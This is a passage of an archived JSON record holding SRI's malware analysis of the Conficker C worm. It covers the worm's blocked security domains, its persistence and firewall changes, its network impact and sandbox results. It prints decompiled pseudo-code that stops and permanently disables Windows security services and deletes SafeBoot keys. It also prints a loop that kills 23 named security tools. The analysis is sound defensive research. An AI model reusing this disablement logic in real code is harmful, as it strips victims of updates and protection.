lookups is shown in Table 1.\r\nvet. freeav rising unlocker\r\nsans. free-av removal tcpview\r\nhttp://www.csl.sri.com/users/vinod/papers/Conficker/addendumC/index.html\r\nPage 14 of 27\n\nnai. fortinet quickheal sysclean\r\nmsft. f-secure ptsecurity scct_\r\nmsdn. f-prot prevx regmon\r\nllnwd. ewido pctools procmon\r\nllnw. etrust panda procexp\r\nkav. eset onecare ms08-06\r\ngmer. esafe norton mrtstub\r\ncert. emsisoft norman mrt.\r\nca. dslreports nod32 mbsa.\r\nbit9. drweb networkassociates klwk\r\navp. defender mtc.sri kido\r\navg. cyber-ta msmvps kb958\r\nwindowsupdate cpsecure msftncsi kb890\r\nwilderssecurity conficker mirage hotfix\r\nvirus computerassociates microsoft gmer\r\nvirscan comodo mcafee filemon\r\ntrojan clamav malware downad\r\ntrendmicro centralcommand kaspersky confick\r\nthreatexpert ccollomb k7computing avenger\r\nthreat castlecops jotti autoruns\r\ntechnet bothunter ikarus safety.live\r\nsymantec avira hauri rootkit\r\nsunbelt avgate hacksoft securecomputing\r\nspyware avast hackerwatch ahnlab\r\nspamhaus arcabit grisoft wireshark\r\nsophos antivir gdata\r\nsecureworks anti- agnitum\r\nhttp://www.csl.sri.com/users/vinod/papers/Conficker/addendumC/index.html\r\nPage 15 of 27\n\nTable 1:  Patched blocked domains list\r\nWhen a domain lookup occurs that matches one of the above strings, the IP translation does not succeed and the\r\nhost does not successfully connect to the target domain. On Vista, a matching domain name is replaced by a\r\nrandom garbage string, and the lookup proceeds using this string.  On Windows XP and earlier OSs, the lookup\r\nsimply times out, and the connection attempt effectively hangs.\r\nWindows Security Service Disablement\r\nEach time it starts, Conficker C spawns a thread to disable security services and terminate Conficker removal\r\nsoftware.   This thread is responsible for disabling Windows services that deliver security patches and software\r\nupdates, effectively preventing the victim host from receiving automated software updates.  For example, in\r\naddition to disabling Windows Defender and the Windows error reporting service, this logic disables BITS\r\n(Background Intelligent Transfer Service).   The BITS service is used to prioritize, throttle, and control\r\nasynchronous file transfers between machines using idle network bandwidth.  It is used by the Windows Update\r\nservices and other software updaters to stay current with the latest patches and security hot fixes.\r\nFigure 6 provides a pseudo-code summary of the security disablement thread.  The main program logic is shown\r\nin function disable_security_services_and_terminate_conficker_cleaners().  This function disables Windows\r\nSecurity Center Service (wscsvc),  Windows Defender Service (WinDefend), Windows Automatic Update Service\r\n(wuauserv), BITS (Background Intelligent Transfer Service), Windows Error Reporting Service (ERSvc), and the\r\nWindows Error Reporting Service (WerSvc).  It further deletes Windows Defender from the Run Registry Key,\r\ndeactivates security center notifications (FD6905CE-952F-41F1-9A6F-135D9C6622CC), and deletes the safeboot\r\nsecurity key.  It then spawns the monitor_and_terminate_conficker_cleaners thread, discussed in Security Product\r\nTerminator Thread.  \r\nThe disable_security_service pseudo-code is also show in Figure 6.    This function Illustrates the actual logic\r\nused to disable the five security services. First, C opens the security manager with all access privileges.  It then\r\nloops through the set of resident services, ignoring all services reported as kernel devices.  If it finds a matching\r\ndevice name, it first shuts down the service, sleeps for 4 seconds, and then sets the service configuration to\r\npermanently disable the service.\r\nBOOL  disable_security_services_and_terminate_conficker_cleaners()\r\n{\r\n  HANDLE v;\r\n  void *ThreadId;ThreadId = this;\r\n  disable_security_service(\"wscsvc\");\r\n  disable_security_service(\"WinDefend\");\r\n  disable_security_service(\"wuauserv\");\r\n  disable_security_service(\"BITS\");\r\n  disable_security_service(\"ERSvc\");\r\n  disable_security_service(\"WerSvc\");\r\n  SHDeleteValueA(HKEY_LOCAL_MACHINE, \"Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\r\n       \\\\Run\", \"Windows Defender\");\r\nhttp://www.csl.sri.com/users/vinod/papers/Conficker/addendumC/index.html\r\nPage 16 of 27\n\ncallSHDeleteKeyW(\r\n       HKEY_LOCAL_MACHINE,\r\n       \"Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\explorer\\\\ShellServiceObjects\\\\\r\n       {FD6905CE-952F-41F1-9A6F-135D9C6622CC}\");\r\n  callSHDeleteKeyW(HKEY_LOCAL_MACHINE, \"SYSTEM\\\\CurrentControlSet\\\\Control\\\\SafeBoot\");\r\n  v = CreateThread(0, 0, monitor_and_terminate_conficker_cleaners, 0, 0, (DWORD *)\r\n      \u0026ThreadId);\r\n  return CloseHandle(v);\r\n}int disable_security_service(LPCSTR lpServiceName)\r\n{\r\n  void *hSCObject;\r\n  char ServiceStatus;\r\n  int v;result = 0;\r\n  hSCObject = OpenSCManagerA(0, 0, SC_MANAGER_ALL_ACCESS);\r\n  // open service manager with all access granted\r\n  if ( hSCObject )\r\n    {\r\n      v = OpenServiceA(hSCObject, lpServiceName, 0x20027u);\r\n          // open the specified service\r\n      if ( v )\r\n        {\r\n          if ( QueryServiceStatus(v, (struct _SERVICE_STATUS *)\u0026ServiceStatus) )\r\n               // query the service status\r\n            {\r\n              if ( ServiceType != SERVICE_KERNEL_DRIVER )\r\n                  // check if the service is not a device driver\r\n                {\r\n                  success = ControlService(v, 1u, (struct _SERVICE_STATUS *)\r\n                  \u0026ServiceStatus); // notifies the service that it should stop\r\n                  if ( success )\r\n                    Sleep(4000); // sleep 4 seconds\r\n                }\r\n            }\r\n          result |= ChangeServiceConfigA(v, 0xFFFFFFFFu, 4u, 0xFFFFFFFFu,\r\n                                         0, 0, 0, 0, 0, 0, 0);\r\n          // set the service configuration so that the service is never started\r\n          CloseServiceHandle(v);\r\n        }\r\n      CloseServiceHandle(hSCObject);\r\n    }\r\n  return result;\r\n}\r\nhttp://www.csl.sri.com/users/vinod/papers/Conficker/addendumC/index.html\r\nPage 17 of 27\n\nFigure 6:  Security service and process disablement logic\r\nSecurity Product Terminator Thread\r\nConficker's disable_security_services_and_terminate_conficker_cleaners() function, as discussed in Windows\r\nSecurity Service Disablement, spawns a separate thread charged with terminating active security processes.  The\r\nmonitor_and_terminate_conficker_cleaners(), shown in Figure 7, runs an infinite search for a set of blacklisted\r\nsecurity processes.  If found, it first suspends all tasks of the associated process, and then terminates the process.\r\nvoid __stdcall monitor_and_terminate_conficker_cleaners()\r\n{\r\n  while ( 1 )\r\n    {\r\n      terminate_conficker_cleaners();\r\n      // terminate processes that are in the list of conficker cleaners\r\n      Sleep(1000); // sleep 1 second\r\n    }\r\n}int terminate_conficker_detectors()\r\n{\r\n  int result;\r\n  int n;\r\n  char Str;\r\n  int v;\r\n  DWORD ProcessId;result = CreateToolhelp32Snapshot(2u, 0); // open the list of processes\r\n  if ( result != -1 )\r\n    {\r\n      v = Process32First((HANDLE)result, (PROCESSENTRY32 *)\u0026pe); \r\n      while ( v )\r\n        {\r\n          strlwr(\u0026Str);\r\n          n = 0;\r\n          while ( n \u003c 23 ) // check 23 names of conficker cleaners\r\n            {\r\n              if ( strstr(\u0026Str, (\u0026array_conficker_cleaners_utilities)[4 * n]) )\r\n                // check if the process name has a substring in the array of\r\n                // conficker cleaners utilities\r\n                terminate_process(ProcessId);\r\n                // terminate the process \r\n              n++;\r\n            }\r\nhttp://www.csl.sri.com/users/vinod/papers/Conficker/addendumC/index.html\r\nPage 18 of 27\n\nv = Process32Next(v, (PROCESSENTRY32 *)\u0026pe);\r\n        }\r\n      result = CloseHandle(v);\r\n    }\r\n  return result;\r\n}\r\nFigure 7:  Security process termination logic\r\nThe following 23 processes are immediated terminated by C's process monitoring thread whenever they are\r\ndiscovered running on the victim host:\r\n1. autoruns    - malware removal tool\r\n2. avenger     - antivirus / firewall\r\n3. confick     - cleanup utilities\r\n4. downad      - cleanup utilities\r\n5. filemon     - security utility)\r\n6. gmer        - rootkit detector and remover (gmer.net)\r\n7. hotfix      - security patch or removal tools\r\n8. kb890       - Microsoft patch \r\n9. kb958       - Microsoft patch \r\n10. kido        - security patch or removal tools\r\n11. klwk        - Karspersky malware removal tool\r\n12. mbsa.       - Microsoft Baseline Security Analyser\r\n13. mrt         - Microsoft malware removal tool\r\n14. mrtstub     - Microsoft malware removal tool\r\n15. ms08-06     - Microsoft patch \r\n16. procexp     - process explorer\r\n17. procmon     - process monitor\r\n18. regmon      - registry monitor\r\n19. scct_       - unknown\r\n20. sysclean    - Trend Micro malware removal tool\r\n21. tcpview     - network packet analysis tool\r\n22. unlocker    - file unlocking utility\r\n23. wireshark   - network packet analysis tool\r\nObfuscating C's Installation and Its Presence\r\nLike variants A and B, variant C begins obfuscating its presence at the moment its (bootstrapping) DLL is\r\ninitialized on the victim host.   Upon initialization, the DLL creates a protected memory segment, and then spawns\r\nthis segment as a remote thread to the netsvcs or explorer process, depending on the OS.  It sets the SVC display\r\nname to nil, does not return from the loadlib initialization function, and effectively prevents standard Windows\r\nservice utilities from listing its DLL as loaded and active.  Once the process is activated, it stores its DLL under a\r\nhttp://www.csl.sri.com/users/vinod/papers/Conficker/addendumC/index.html\r\nPage 19 of 27\n\nrandomly generated filename (with DLL extension), and sets the date of the DLL to that of kernel32.dll.  The file\r\nis then stored on disk using the following directory selection logic: \r\n1. It attempts to place the DLL in the System32 directory\r\n2. It attempts to place the DLL inside the Program Files directory.  Here it attempts to select one of the\r\nfollowing subdirectories:  \\\\Movie Maker, \\\\Internet Explorer, \\\\Windows Media Player, \\\\Windows NT\r\n3. It places the DLL in the user temp directory\r\nC must also alter the registry to ensure that its DLL is reloaded at next boot.   To cloak its registry key settings,  C\r\nrandomly selects and sets various registry keys to obfuscate  the modifications it made to the svchosts or netsvcs\r\nregistry segments.\r\nThe following strings are added to the registry to obfuscate svchost's registry configuration changes:  App, Audio,\r\nDM, ER, Event, help, Ias, Ir, Lanman, Net, Ntms, Ras, Remote, Sec, SR, Tapi, Trk, W32, win, Wmdm, Wmi, wsc,\r\nwuau, xml, access, agent, auto, logon, man, mgmt, mon, prov, serv, Server,  Service, Srv, srv, Svc, svc, System,\r\nTime.\r\nThe following are strings that are added to the registry to obfuscate netsvcs's registry configuration changes: Boot,\r\nCenter, Config, Driver, Helper, Image, Installer, Manager, Microsoft, Monitor, Network, Security, Server, Shell,\r\nSupport, System, Task, Time, Universal, Update, Windows, Hardware, Control, Audit, Event, Notify, Backup,\r\nTrusted, Component, Framework, Management, Browser, Machine, Logon, Power, Storage, Discovery, Policy.\r\nFirewall Disablement\r\nTo interact with external clients during P2P communications, C disables the blocking of several high-order TCP\r\nand UDP application ports.   This is done through HKLM modifications, where the opened ports are listed in the\r\nGloballyOpenPorts registry key.  These ports are fixed per Conficker installation.   The following is an example\r\nset of firewall modifications made during a Conficker C run:\r\nSYSTEM\\CurrentControlSet\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\StandardProfile\\GloballyOpenPorts\\List, Value Name:\r\n11930:TCP, New Value: 11930:TCP:*:Enabled:PackagesOffice MSDownloaded \r\nSYSTEM\\CurrentControlSet\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\StandardProfile\\GloballyOpenPorts\\List, Value Name:\r\n45436:TCP, New Value: 45436:TCP:*:Enabled:PackagesOffice SpeechGames\r\nSYSTEM\\CurrentControlSet\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\StandardProfile\\GloballyOpenPorts\\List, Value Name:\r\n48481:UDP, New Value: 48481:UDP:*:Enabled:PackagesOffice PagesPages\r\nSYSTEM\\CurrentControlSet\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\StandardProfile\\GloballyOpenPorts\\List, Value Name:\r\n57338:UDP, New Value: 57338:UDP:*:Enabled:PackagesOffice MediaDistribution\r\nListed with these firewall port disablement changes are apparent product package names, such as MSDownloaded,\r\nSpeechGames, MediaDistribution, and PagesPages.    These package names are bogus, and appear to associate\r\nthese security changes to software packages that appear benign.     \r\nGlobal Network Impact\r\nhttp://www.csl.sri.com/users/vinod/papers/Conficker/addendumC/index.html\r\nPage 20 of 27\n\nFrom nearly the moment of its initial outbreak on 5 March 2009 (UTC), Conficker C has produced a visible effect\r\non Internet-wide scan patterns.    Following connection patterns from a series of ports used across Conficker\r\nvariants, we are able to track the spread of C infections from within our honeynet.  By following volume drops in\r\nConficker A/B/B++ TCP/445 scan sources, with the rise in Conficker C's TCP and UDP P2P scan activity, we can\r\naccurately estimate the time of release and relative size of Conficker C. \r\nWe believe the primary delivery mechanism used to distribute variant C has been Internet rendezvous points,\r\nwhich had reportedly been blocked [15] .    Numerous examples of Conficker C's Win32 dropper executables have\r\nreportedly been delivered into pre-infected Conficker B hosts (we do not yet have confirmed reports of Conficker\r\nA upgrades).  When received by a B host, the dropper application performs the following actions:\r\n1. it conducts a self-expiration check and exits if stale (we have observed 72 hour expirations)\r\n2. checks the machine for C-specific mutexes, which would indicate this machine has already been upgraded.\r\n  If found, the dropper exits\r\n3. drops a local DLL file into the user's temp directory using a temporary file name\r\n4. invokes the dropped DLL using rundll32.exe, which spawns Conficker C\r\n5. deletes itself (the dropper application) from the system\r\nIn Figure 8, we present a network traffic analysis that illustrates the impact of Conficker C upgrades.  As shown in\r\nthis figure, there is a significant drop in TCP/445 scanning activity, which coincides with  the rise in UDP and\r\nTCP P2P activity from Conficker C.  The drop in TCP/445 activity was corroborated with similar drops in\r\nCAIDA's  telescope [17].\r\nhttp://www.csl.sri.com/users/vinod/papers/Conficker/addendumC/index.html\r\nPage 21 of 27\n\nFigure 8:  Conficker port 445/TCP and P2P scan\r\ndropoffs observed  beginning 5 March 2009 (UTC)\r\nBased on our measurements, the first  wave of Conficker C upgrades began at roughly 6 p.m. PST on 4 March\r\n2009 (2 a.m. GMT on 5 March 2009).  As illustrated in Figure 8, we can see that this first wave of upgrades\r\nimpacted approximately 20% of Conficker hosts.  These upgrades occurred in close proximity to the date change\r\nof 5 March 2009 UTC, implying that when active B machines visited their new set of rendezvous points on this\r\nnew day, the Conficker authors had likely established a server ready to deliver the C dropper application.    Figure\r\n8 also illustrates that a second upgrade occurred on  17 March 2009  (UTC), claiming as much as another 50% of\r\nthe remaining B population.\r\nIn-Situ Analysis - Sandbox Operations\r\nWe used dynamic sandbox monitoring techniques to evaluate the interactions of Conficker C when operating live\r\non the Internet.  The release used for this analysis was monitored and filtered such that it would not cause  harm to\r\nother external hosts while these experiments were being conducted.\r\nWe describe the network profile of a Conficker C infected host during a 30-minute sandbox execution.  Since our\r\ncurrent experiments were conducted in early March 2009, we did not see the HTTP rendezvous point lookups.  We\r\nexpect this activity profile to change on 1 April.   During our pre 1 April sandbox run, we observed the following\r\nnetwork effects, which are illustrated in Figure 9.\r\nhttp://www.csl.sri.com/users/vinod/papers/Conficker/addendumC/index.html\r\nPage 22 of 27\n\nDNS queries at a rate of 10 to 25 per 5-minute interval were observed.  We also observed web server queries,\r\nwhich included connections to 4shared.com, adobe.com, allegro.pl, ameblo.jp, answers.com, aweber.com,\r\nbadongo.com, baidu.com. bbc.co.uk, blogfa.com, clicksor.com, comcast.net, cricinfo.com, disney.go.com,\r\nebay.co.uk, facebook.com, fastclick.com, friendster.com, imdb.com, megaporn.com, megaupload.com,\r\nminiclip.com, mininova.org, ning.com, photobucket.com, rapidshare.com, reference.com, seznam.cz, soso.com,\r\nstudiverzeichnis.com, tianya.cn, torrentz.com, tribalfusion.com, tube8.com, tuenti.com, typepad.com, ucoz.ru,\r\nveoh.com, vkontakte.ru,wikimedia.org, wordpress.com, xnxx.com, yahoo.com, and youtube.com.\r\nP2P queries were sent to random hosts on high-order ports.  This is steady at a rate of 50 to 60 hosts per 5 minutes\r\nin TCP and a rate of 240 to 2500 hosts per 5 minutes in UDP.  The failed TCP and UDP attempts also result in a\r\nhigh rate of inbound ICMP backscatter.\r\nThere are also six HTTP connections that were all successfully established in the first 5 minutes to tuenti.com,\r\ntianya.cn, miniclip.com, blogfa.com, answers.com and rapidshare.com.  In each case, the GET request was to the\r\ntop directory (GET / HTTP/1.1). Responses are gzip-encoded HTML content.\r\nGET / HTTP/1.1\r\nAccept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-ms-application, application/vnd.ms-xpsdocument, application/x-ms-xbap, */*\r\nAccept-Language: en-GB\r\nAccept-Encoding: gzip, deflate\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1; .NET CLR 1.1.4322; .NET CLR\r\n2.0.50727; .NET CLR 3.0.04506.30)\r\nHost: rapidshare.com\r\nConnection: Keep-Alive\r\nhttp://www.csl.sri.com/users/vinod/papers/Conficker/addendumC/index.html\r\nPage 23 of 27\n\nFigure 9:  Pre 1 April 2009 short-term network traffic profile\r\nhttp://www.csl.sri.com/users/vinod/papers/Conficker/addendumC/index.html\r\nPage 24 of 27\n\nFigure 10:  Post 1 April 2009 6-hour network traffic profile\r\nWe also created a new (mutated) version of the binary that executes the post 1 April 2009 logic.  The graph in\r\nFigure 10 summarizies a long-running (6-hour) network trace of this binary.  This figure captures the volumes of\r\nobserved outbound communication attempts over the multihour run: HTTP, DNS, TCP P2P and UDP P2P,\r\nactivity.  The DNS activity includes two components: attempts to contact the 500 rendezvous points, and attempts\r\nto contact Internet portals for finding the date.  The trace from this live experimental run corroborates our static\r\nanalysis results: each C host contacts 500 rendezvous points each day over 116 TLDs with a flat entropy (random\r\ndomain name space).  We see a dropoff in overall levels of DNS activity  after hour 3 when it has looked up the IP\r\naddresses of all 500 domains.  In our case, all these were failed (NXDOMAIN) attempts, as these domains have\r\nnot yet been registered. \r\nThe UDP and TCP  P2P activity also drops off in the first 2-hours before settling on a steady scanning rate. The\r\nHTTP date check activity remains a relatively steady six to nine hosts contacted per hour. The key implication\r\nfrom the in-situ analysis is that it should be fairly easy to fingerprint Conficker C  based upon its unique TCP and\r\nUDP scanning patterns.  We should also be able to identify C hosts (starting 1 April 2009) based on the volume of\r\nNXDOMAIN responses these hosts would receive for failed DNS lookups.\r\n \r\nhttp://www.csl.sri.com/users/vinod/papers/Conficker/addendumC/index.html\r\nPage 25 of 27\n\nConclusion\r\nWe present an analysis of Conficker Variant C, which emerged on the Internet at roughly 6 p.m. (PST) on 4 March\r\n2009.  This variant incorporates significant new functionality, including a new domain generation algorithm and a\r\nnew peer-to-peer file sharing service.   Absent from our discussion has been any reference to the well-known\r\nattack propagation vectors (RCP buffer overflow, USB, and NetBios Scans) that have allowed C's predecessors to\r\nsaturate so much of the Internet.  Although not present in C, these attack propagation services are but one peer\r\nupload away from any C infected host, and may appear at any time.   C is, in fact, a robust and secure distribution\r\nutility for distributing malicious content and binaries to millions of computers across the Internet.   This utility\r\nincorporates a potent arsenal of methods to defend itself from security products, updates, and diagnosis tools.  It\r\nfurther demonstrates the rapid development pace at which Conficker's authors are maintaining their current\r\nfoothold on a large number of Internet-connected hosts.  Further, if organized into a coordinated offensive\r\nweapon, this multimillion-node botnet poses a serious and dire threat to the Internet.  \r\nOur report represents one of many Conficker analysis studies going on throughout the whitehat community, and\r\nwe are in direct contact with numerous groups that will produce additional details, and will help clarify errors that\r\nexist in this report.  This report is a living document, and we will update it regularly, as our understanding of\r\nvariant C continues to grow. \r\nAcknowledgments\r\nWe would like to thank Drew Dean from SRI's Computer Science Laboratory for his assistance in understanding\r\nthe binary validation routine.    We would like to thank Bruce Dang from Microsoft for his assistance in\r\nunderstanding the mutex key generation.   We would like to thank Arvind Narayanan from the University of Texas\r\nat Austin for his collaboration in the developing the Horizontal Malware Analysis tool shown in Appendix 2.\r\nReferences\r\n[4]  P.A. Porras, H. Saidi, and V. Yegneswaran.  \"A Multiperspective Analysis of the Storm Worm. SRI Technical\r\nReport, 2007.  http://www.cyber-ta.org/pubs/StormWorm/\r\n[12] Eric Chien, \"Downadup: Peer-to-Peer Payload Distribution,\" 2009.\r\nhttp://myitforum.com/cs2/blogs/cmosby/archive/2009/01/22/downadup-peer-to-peer-payload- distribution-symantec-security-response-blog.aspx\r\n[15] Jose Nazario, \"The Conficker Cabal Announced,\" Arbor Networks, 12 February 2009.\r\nhttp://asert.arbornetworks.com/2009/02/the-conficker-cabal-announced/\r\nAppendices\r\nAppendix 1  Embedded Strings Within Conficker C\r\nhttp://www.csl.sri.com/users/vinod/papers/Conficker/addendumC/index.html\r\nPage 26 of 27\n\nWe have extracted and categorized the set of strings that are embedded in the Conficker C binary.  The full set of\r\nembedded Conficker C strings is listed HERE. \r\nAppendix 2   Domain Generator Filtered Address Ranges\r\nWe have isolated the full set of IP address ranges that are used to prefilter all IP addresses produced by the\r\nConficker C domain generation algorithm. This blocklist is shown HERE.\r\nAppendix 3   A Comparative Assessment of Conficker B and C Process Images\r\nThis is a comparative assessment of the Conficker B++ vs. Conficker C disassembled process images.  The\r\ncomplete comparative assessment of B++ vs C  is available HERE.\r\nAppendix 4   Sandbox Results from Running Conficker C\r\nThis appendix shows a forensic analysis of the Conficker C binary as captured through dynamic network analysis\r\nand sandbox testing.  See the full list of  forensic results HERE.\r\nAppendix 5   API Recovery Table\r\nThis appendix maps the set of obfuscated APIs to their code offsets.  The map is useful for a reverse engineering\r\nanalyst to understand the P2P protocol logic.  See the API list HERE.\r\nSource: http://www.csl.sri.com/users/vinod/papers/Conficker/addendumC/index.html\r\nhttp://www.csl.sri.com/users/vinod/papers/Conficker/addendumC/index.html\r\nPage 27 of 27",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"references": [
		"http://www.csl.sri.com/users/vinod/papers/Conficker/addendumC/index.html"
	],
	"report_names": [
		"index.html"
	],
	"threat_actors": [],
	"ts_created_at": 1775434163,
	"ts_updated_at": 1775791304,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/47975ad2eedddcc5dec0832c23043cd781b36bb2.pdf",
		"text": "https://archive.orkl.eu/47975ad2eedddcc5dec0832c23043cd781b36bb2.txt",
		"img": "https://archive.orkl.eu/47975ad2eedddcc5dec0832c23043cd781b36bb2.jpg"
	}
}